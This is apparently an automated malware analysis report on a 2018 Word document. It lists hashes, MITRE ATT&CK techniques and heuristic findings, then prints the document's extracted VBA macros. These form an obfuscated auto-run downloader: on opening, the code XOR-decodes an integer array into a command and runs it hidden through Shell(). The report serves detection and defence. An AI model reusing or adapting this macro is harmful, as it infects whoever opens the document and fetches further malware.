Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f9bb461bf35eaf2…

MALICIOUS

Office (OLE)

492.5 KB Created: 2018-01-26 10:06:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: 3ec0c4a761fae03d09cfc665fb5f995c SHA-1: c9ffea1339f147ddf4b1d8b3c51aa6e8537be442 SHA-256: 9f9bb461bf35eaf2004fbe436bc84e33ec3e14dfff3a136e232454d539d1ced4
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Word document containing VBA macros. The Document_Open macro is configured to execute a payload using the Shell() function. The script decodes an array of integers using a XOR cipher with a key derived from document variables, ultimately constructing and executing a command. This indicates a macro-based downloader attempting to execute a second-stage payload.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1568 bytes
SHA-256: a2c142d87d5c38ecbc229478d6249db9f642ef10f746cafe28a92706ca6c575e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("zdLxfN").Value <> "toto" Then
NuUCcvfUAk
ActiveDocument.Variables("zdLxfN").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "tlTmRPj"
Private Function tiQiwlyBkP(GtPseUWatk As Variant, hHSQRhUcSe As Integer)
Dim RQgdcgjByk, VuBwFPlgKn As String, thFcpNXNla, lCtlLFwgMV
VuBwFPlgKn = ActiveDocument.Variables("zdLxfN").Value()
RQgdcgjByk = ""
thFcpNXNla = 1
While thFcpNXNla < UBound(GtPseUWatk) + 2
lCtlLFwgMV = thFcpNXNla Mod Len(VuBwFPlgKn): If lCtlLFwgMV = 0 Then lCtlLFwgMV = Len(VuBwFPlgKn)
RQgdcgjByk = RQgdcgjByk + Chr(Asc(Mid(VuBwFPlgKn, lCtlLFwgMV + hHSQRhUcSe, 1)) Xor CInt(GtPseUWatk(thFcpNXNla - 1)))
thFcpNXNla = thFcpNXNla + 1
Wend
tiQiwlyBkP = RQgdcgjByk
End Function
Public Function NuUCcvfUAk() As Variant
Dim JXv As String
JXv = tiQiwlyBkP(Array(47, 67, 31, 34, 10, 95, 32, 31, 48, 2, 25, 56, 16, 70, 66, 39, 57, 69, 84, 37, 12, _
28, 92, 44, 16, 104, 18, 57, 10, 110, 89, 37, 51, 55, 68, 3, 74, 119, 18, 57, 79, _
116, 8, 90, 68, 3, 37, 5, 68, 28, 34, 12, 103, 88, 47, 22, 53, 68, 5, 77, 27, _
57, 17, 1, 74, 14, 35, 33, 39, 42, 44, 24, 45, 31, 49), 0)
Dim RetVal
RetVal = Shell(JXv, 0)
End Function

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